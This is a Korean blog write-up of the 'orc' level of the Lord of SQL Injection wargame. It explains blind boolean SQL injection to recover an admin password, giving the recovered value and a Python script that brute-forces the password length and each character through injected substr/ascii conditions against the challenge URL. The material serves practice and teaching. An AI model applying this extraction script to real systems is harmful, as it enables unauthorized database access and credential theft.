이번 문제는 orc이다.
이 문제는 admin의 pw를 알아내야 해결할 수 있는 문제이다.
쿼리문을 이용해 pw의 길이를 알아냈다.
8글자이다.
위의 쿼리문처럼 참이 되는 경우를 알아내며 admin의 pw를 찾아낼 수 있다.
찾아낸 pw는 295d5844 이다.
하나하나 다 찾기 힘들면 파이썬으로 코드를 작성할 수 있다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | import requests URL = 'http://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php' head = {'cookie' : ' '} def matching(num) : for i in range(1,num+1) : for j in range(32,127) : params = {'pw' : '\' or id=\'admin\' and ascii(substr(pw,%d,1))=\'%d' %(i, j)} res = requests.get(url=URL, params=params, headers=head) if("Hello admin" in res.text) : print chr(j), break for a in range(1,30) : params_length = {'pw' : '\' or id=\'admin\' and length(pw)=\'%d' %a} res_length = requests.get(url=URL, params=params_length, headers=head) if("Hello admin" in res_length.text) : print(a) matching(a) break | cs |
먼저 pw의 길이를 알아낸 후 pw를 알아낸다.
pw는 295d5844 이다.
주소창에 ?pw=295d5844 를 입력해주면 쿼리문이 다음과 같이 된다.
문제 해결
'Wargame > Lord Of SQL injection (eagle-jump)' 카테고리의 다른 글
[LOS] 6번 darkelf (0) | 2017.08.14 |
---|---|
[LOS] 5번 wolfman (0) | 2017.08.14 |
[LOS] 3번 goblin (0) | 2017.08.02 |
[LOS] 2번 cobolt (0) | 2017.08.02 |
[LOS] 1번 gremlin (0) | 2017.08.02 |